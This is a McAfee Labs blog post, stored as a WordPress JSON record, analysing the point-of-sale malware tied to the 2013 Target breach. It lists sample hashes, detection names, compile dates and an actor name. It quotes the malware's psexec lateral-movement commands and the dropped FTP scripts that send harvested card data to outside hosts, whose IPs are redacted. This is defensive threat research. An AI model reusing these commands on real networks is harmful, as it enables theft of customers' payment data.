{"id":32598,"date":"2014-01-16T11:48:45","date_gmt":"2014-01-16T19:48:45","guid":{"rendered":"http:\/\/blogs.mcafee.com\/?p=32598"},"modified":"2025-05-27T20:37:37","modified_gmt":"2025-05-28T03:37:37","slug":"analyzing-the-target-point-of-sale-malware","status":"publish","type":"post","link":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/","title":{"rendered":"Analyzing the Target Point-of-Sale Malware"},"content":{"rendered":"

January 21, 2014: \u00a0<\/strong>As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors. \u00a0 To shed more detailed light on the malware specific to these events, our team in McAfee Labs has released an updated Threat Advisory entitled “McAfee Labs Threat Advisory: EPOS Data Theft<\/a>“. \u00a0The report covers specific traits and activity around this family, in addition to some background on “BlackPOS”. \u00a0 Updated details around McAfee countermeasures and mitigation are included as well.<\/p>\n

McAfee Labs Threat Advisory: EPOS Data Theft<\/a><\/p>\n

Current AV Detections:<\/strong><\/span><\/h2>\n
    \n
  • 6597DF782CBD7DC270BB12CDF95D21B4 \u00a0 \u00a0 \u00a0 BackDoor-FBPP<\/li>\n
  • 5DBD7BC7A672DA61F6F43AAF6FA3C661 \u00a0 \u00a0 \u00a0 BackDoor-FBPP<\/li>\n
  • BA443C2E10D0278FC30069F61BC56439 \u00a0 \u00a0 \u00a0 BackDoor-FBPP<\/li>\n
  • 7F9CDC380EEED16EAAB3E48D59F271AA \u00a0 \u00a0 \u00a0PWS-FBOI<\/li>\n
  • 3D5BF67955DC77AF4CA8BF6CB1F96065 \u00a0 \u00a0 \u00a0 \u00a0 PWS-FBOI<\/li>\n
  • BA0F556CE558453AD1526409B5B69EF3 \u00a0 \u00a0 \u00a0 \u00a0 PWS-FBOI<\/li>\n
  • F45F8DF2F476910EE8502851F84D1A6E \u00a0 \u00a0 \u00a0 \u00a0 \u00a0PWS-FBOJ<\/li>\n
  • CE0296E2D77EC3BB112E270FC260F274 \u00a0 \u00a0 \u00a0 \u00a0PWS-FBOJ<\/li>\n
  • 4D445B11F9CC3334A4925A7AE5EBB2B7 \u00a0 \u00a0 \u00a0 \u00a0 BackDoor-FBPL<\/li>\n
  • 7F1E4548790E7D93611769439A8B39F2 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 BackDoor-FBPL<\/li>\n
  • 762DDB31C0A10A54F38C82EFA0D0A014 \u00a0 \u00a0 \u00a0BackDoor-FBPL<\/li>\n
  • C0C9C5E1F5A9C7A3A5043AD9C0AFA5FD \u00a0 \u00a0 \u00a0BackDoor-FBPL<\/li>\n<\/ul>\n

    Additional Countermeasures<\/strong><\/span><\/h2>\n
      \n
    • McAfee Application Control<\/strong> –\u00a0Run-Time Control locks down systems and provides protection in the form of Execution Control and Memory Protection.<\/li>\n<\/ul>\n

      Malware of this variety will typically be targeted. \u00a0The adversaries will activly attempt to evade AV detection where possible. \u00a0It is critical<\/strong> to apply countermeasures outside the typical AV scanning procedures. \u00a0Application Control\/Whitelisting will be extremely successful in blocking\/inhibiting these tools. In addition, network monitoring and controls (real-time monitoring and intelligent analytics of SIEM data) will allow for victims to know exactly what malicious behaviors are occurring in their environment at the time of compromise, and where the artifacts\/indicators are.<\/p>\n

      January 16, 2014<\/strong>: In the last 24 hours, McAfee Labs has started to piece together more and more detail on the malware that is apparently tied to the campaign against Target. To recap, in November 2013 the retailer was compromised via undisclosed methods. The attackers were able to plant point-of-sale malware and intercept approximately 110,000,000 records worth of payments, transactions, and other personally identifiable data. Working backward, we can start to see evidence of the activity in December (prior to the story’s breaking) based on underground chatter, VirusTotal submissions, and other open-source intelligence sources.<\/p>\n

      Although there is no official confirmation, we have credible evidence to indicate that the malware used in the Target stores attack is related to existing malware kits sold in underground forums. Related samples to date are somewhat similar in function to (and possibly derived from) known \u201cBlackPOS\u201d samples.<\/span><\/p>\n

      Sample Information\/Sources<\/span><\/b><\/h2>\n
        \n
      • ce0296e2d77ec3bb112e270fc260f274\u2013ThreatExpert (cache)<\/li>\n
      • F45F8DF2F476910EE8502851F84D1A6E\u2013ThreatExpert (cache)<\/li>\n
      • 7f1e4548790e7d93611769439a8b39f2\u2013VirusTotal<\/li>\n
      • 4d445b11f9cc3334a4925a7ae5ebb2b7\u2013VirusTotal<\/li>\n
      • 762ddb31c0a10a54f38c82efa0d0a014\u2013Virus Total<\/li>\n
      • c0c9c5e1f5a9c7a3a5043ad9c0afa5fd\u2013VirusTotal<\/li>\n<\/ul>\n

        7f1e4548790e7d93611769439a8b39f2 and 4d445b11f9cc3334a4925a7ae5ebb2b7 are uploaders that reveal many useful details about data collection, data transfer, and possibly the actor behind the campaign.<\/span><\/p>\n

        Possible Actor\/Attribution Data<\/span><\/b><\/h2>\n

        Both uploaders contain the following string (compile path)<\/p>\n

          \n
        • z:\\Projects\\Rescator<\/strong>\\uploader\\Debug\\scheck.pdb<\/li>\n<\/ul>\n

          Rescator is a known actor in various cybercrime forums.<\/p>\n

          Data Collection and Transfer<\/span><\/b><\/h2>\n

          Data is collected and transferred to internal shares via the following command syntax:<\/p>\n

            \n
          • c:\\windows\\system32\\cmd.exe, c:\\windows\\system32\\cmd.exe \/c psexec \/accepteula \\\\<EPOS_IPaddr> -u <username> -p <password><\/em> cmd \/c “taskkill \/im bladelogic.exe \/f”<\/li>\n
          • c:\\windows\\system32\\cmd.exe, c:\\windows\\system32\\cmd.exe \/c psexec \/accepteula \\\\<EPOS_IPaddr> -u <username> -p <password><\/em> -d bladelogic<\/li>\n
          • c:\\windows\\system32\\cmd.exe, c:\\windows\\system32\\cmd.exe \/c move \\\\<EPOS_IPaddr><\/em>\\nt\\twain_32a.dll c:\\program files\\xxxxx\\xxxxx\\temp\\data_2014_1_16_15_30.txt<\/li>\n
          • c:\\windows\\system32\\cmd.exe, c:\\windows\\system32\\cmd.exe \/c ftp -s:c:\\program files\\xxxxx\\xxxxx\\temp\\cmd.txt<\/li>\n<\/ul>\n

            Note:\u00a0<\/strong>The reference to “bladelogic” is a method of obfuscation. \u00a0The malware does not compromise, or integrate with, any BMC products in any way. \u00a0 The executable name “bladelogic.exe” does not exist in any piece of legitimate BMC software.<\/p>\n

            \u201cttcopscli3acs\u201d is reportedly a Windows domain name used within Target stores.<\/p>\n

            7f1e4548790e7d93611769439a8b39f2 and 4d445b11f9cc3334a4925a7ae5ebb2b7 drop the following script upon execution:<\/span><\/p>\n

            ——————————————
            \nopen xxx.xxx.xxx.xx<\/p>\n

            %name%<\/p>\n

            %password%<\/p>\n

            cd public_html<\/p>\n

            cd cgi-bin<\/p>\n

            bin<\/p>\n

            send C:\\Program Files\\xxxxxx \\xxxxxxxx\\Temp\\data_2014_%_%_%%_%%.txt<\/p>\n

            quit<\/p>\n

            ——————————————<\/p>\n

            Similar scripts are present in 762ddb31c0a10a54f38c82efa0d0a014 and c0c9c5e1f5a9c7a3a5043ad9c0afa5fd.<\/span><\/p>\n

            ——————————————
            \nopen xx.xxx.xxx.xx<\/p>\n

            %name%<\/p>\n

            %password%<\/p>\n

            cd 001<\/p>\n

            bin<\/p>\n

            send C:\\Program Files\\xxxxxx \\xxxxxxxx\\Temp\\data_2014_data_2014_%_%_%%_%%.txt<\/p>\n

            quit<\/p>\n

            ——————————————<\/p>\n

            ——————————————
            \nopen xx.xx.xxx.xx<\/p>\n

            %name%<\/p>\n

            %password%<\/p>\n

            cd etc<\/span><\/p>\n

            bin<\/p>\n

            send C:\\Program Files\\xxxxxx \\xxxxxxxx\\Temp\\data_2014_data_2014_%_%_%%_%%.txt<\/p>\n

            quit<\/p>\n

            ——————————————<\/p>\n

            Compilation Dates<\/span><\/b><\/h2>\n
              \n
            • 762ddb31c0a10a54f38c82efa0d0a014 – Sat Nov 30 17:52:00 2013 UTC<\/li>\n
            • 4d445b11f9cc3334a4925a7ae5ebb2b7 – Sat Nov 30 17:21:17 2013 UTC<\/li>\n
            • c0c9c5e1f5a9c7a3a5043ad9c0afa5fd – Tue Dec\u00a0 3 00:15:01 2013 UTC<\/li>\n
            • 7f1e4548790e7d93611769439a8b39f2 – Sat Nov 30 17:38:23 2013 UTC<\/li>\n<\/ul>\n

              \u00a0<\/span><\/b><\/p>\n","protected":false},"excerpt":{"rendered":"

              January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components…<\/p>\n","protected":false},"author":695,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[442],"tags":[1411,76,142,180,18],"coauthors":[4136],"class_list":["post-32598","post","type-post","status-publish","format-standard","hentry","category-mcafee-labs","tag-advanced-persistent-threats","tag-cybercrime","tag-tag-identity-theft","tag-malware","tag-network-security"],"acf":[],"yoast_head":"\nAnalyzing the Target Point-of-Sale Malware | McAfee Blog<\/title>\n<meta name=\"description\" content=\"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Analyzing the Target Point-of-Sale Malware | McAfee Blog\" \/>\n<meta property=\"og:description\" content=\"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\" \/>\n<meta property=\"og:site_name\" content=\"McAfee Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/McAfee\/\" \/>\n<meta property=\"article:published_time\" content=\"2014-01-16T19:48:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-05-28T03:37:37+00:00\" \/>\n<meta name=\"author\" content=\"McAfee Labs\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@McAfee_Labs\" \/>\n<meta name=\"twitter:site\" content=\"@McAfee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"McAfee Labs\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\"},\"author\":{\"name\":\"McAfee Labs\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/86f325fa6532a017d06d6b49a2f3b1ad\"},\"headline\":\"Analyzing the Target Point-of-Sale Malware\",\"datePublished\":\"2014-01-16T19:48:45+00:00\",\"dateModified\":\"2025-05-28T03:37:37+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\"},\"wordCount\":935,\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"keywords\":[\"advanced persistent threats\",\"cybercrime\",\"identity theft\",\"malware\",\"network security\"],\"articleSection\":[\"McAfee Labs\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\",\"name\":\"Analyzing the Target Point-of-Sale Malware | McAfee Blog\",\"isPartOf\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\"},\"datePublished\":\"2014-01-16T19:48:45+00:00\",\"dateModified\":\"2025-05-28T03:37:37+00:00\",\"description\":\"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Other Blogs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"McAfee Labs\",\"item\":\"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Analyzing the Target Point-of-Sale Malware\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#website\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"name\":\"McAfee Blog\",\"description\":\"Internet Security News\",\"publisher\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#organization\",\"name\":\"McAfee\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png\",\"width\":1286,\"height\":336,\"caption\":\"McAfee\"},\"image\":{\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/x.com\/McAfee\",\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/www.youtube.com\/McAfee\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/86f325fa6532a017d06d6b49a2f3b1ad\",\"name\":\"McAfee Labs\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/af947d76ffbef8521094b476cf8050c3\",\"url\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2017\/07\/Social-Media-PF-Logo-Pic-300x300-2-96x96.jpg\",\"contentUrl\":\"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2017\/07\/Social-Media-PF-Logo-Pic-300x300-2-96x96.jpg\",\"caption\":\"McAfee Labs\"},\"description\":\"McAfee Labs is one of the leading sources for threat research, threat intelligence, and cybersecurity thought leadership. See our blog posts below for more information.\",\"sameAs\":[\"https:\/\/www.linkedin.com\/company\/mcafee\/\",\"https:\/\/www.facebook.com\/McAfee\/\",\"https:\/\/x.com\/McAfee_Labs\"],\"url\":\"https:\/\/www.mcafee.com\/blogs\/author\/mcafee-labs\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Analyzing the Target Point-of-Sale Malware | McAfee Blog","description":"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"en_US","og_type":"article","og_title":"Analyzing the Target Point-of-Sale Malware | McAfee Blog","og_description":"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.","og_url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/","og_site_name":"McAfee Blog","article_publisher":"https:\/\/www.facebook.com\/McAfee\/","article_author":"https:\/\/www.facebook.com\/McAfee\/","article_published_time":"2014-01-16T19:48:45+00:00","article_modified_time":"2025-05-28T03:37:37+00:00","author":"McAfee Labs","twitter_card":"summary_large_image","twitter_creator":"@McAfee_Labs","twitter_site":"@McAfee","twitter_misc":{"Written by":"McAfee Labs","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#article","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/"},"author":{"name":"McAfee Labs","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/86f325fa6532a017d06d6b49a2f3b1ad"},"headline":"Analyzing the Target Point-of-Sale Malware","datePublished":"2014-01-16T19:48:45+00:00","dateModified":"2025-05-28T03:37:37+00:00","mainEntityOfPage":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/"},"wordCount":935,"publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"keywords":["advanced persistent threats","cybercrime","identity theft","malware","network security"],"articleSection":["McAfee Labs"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/","url":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/","name":"Analyzing the Target Point-of-Sale Malware | McAfee Blog","isPartOf":{"@id":"https:\/\/www.mcafee.com\/blogs\/#website"},"datePublished":"2014-01-16T19:48:45+00:00","dateModified":"2025-05-28T03:37:37+00:00","description":"January 21, 2014: \u00a0As more information comes to light, surrounding these events, we continue to identify and analyze additional components and behaviors.","breadcrumb":{"@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/analyzing-the-target-point-of-sale-malware\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.mcafee.com\/blogs\/"},{"@type":"ListItem","position":2,"name":"Other Blogs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/"},{"@type":"ListItem","position":3,"name":"McAfee Labs","item":"https:\/\/www.mcafee.com\/blogs\/other-blogs\/mcafee-labs\/"},{"@type":"ListItem","position":4,"name":"Analyzing the Target Point-of-Sale Malware"}]},{"@type":"WebSite","@id":"https:\/\/www.mcafee.com\/blogs\/#website","url":"https:\/\/www.mcafee.com\/blogs\/","name":"McAfee Blog","description":"Internet Security News","publisher":{"@id":"https:\/\/www.mcafee.com\/blogs\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.mcafee.com\/blogs\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.mcafee.com\/blogs\/#organization","name":"McAfee","url":"https:\/\/www.mcafee.com\/blogs\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2023\/02\/mcafee-logo.png","width":1286,"height":336,"caption":"McAfee"},"image":{"@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/McAfee\/","https:\/\/x.com\/McAfee","https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/www.youtube.com\/McAfee"]},{"@type":"Person","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/86f325fa6532a017d06d6b49a2f3b1ad","name":"McAfee Labs","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.mcafee.com\/blogs\/#\/schema\/person\/image\/af947d76ffbef8521094b476cf8050c3","url":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2017\/07\/Social-Media-PF-Logo-Pic-300x300-2-96x96.jpg","contentUrl":"https:\/\/www.mcafee.com\/blogs\/wp-content\/uploads\/2017\/07\/Social-Media-PF-Logo-Pic-300x300-2-96x96.jpg","caption":"McAfee Labs"},"description":"McAfee Labs is one of the leading sources for threat research, threat intelligence, and cybersecurity thought leadership. See our blog posts below for more information.","sameAs":["https:\/\/www.linkedin.com\/company\/mcafee\/","https:\/\/www.facebook.com\/McAfee\/","https:\/\/x.com\/McAfee_Labs"],"url":"https:\/\/www.mcafee.com\/blogs\/author\/mcafee-labs\/"}]}},"_links":{"self":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/32598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/users\/695"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/comments?post=32598"}],"version-history":[{"count":2,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/32598\/revisions"}],"predecessor-version":[{"id":214512,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/posts\/32598\/revisions\/214512"}],"wp:attachment":[{"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/media?parent=32598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/categories?post=32598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/tags?post=32598"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.mcafee.com\/blogs\/wp-json\/wp\/v2\/coauthors?post=32598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}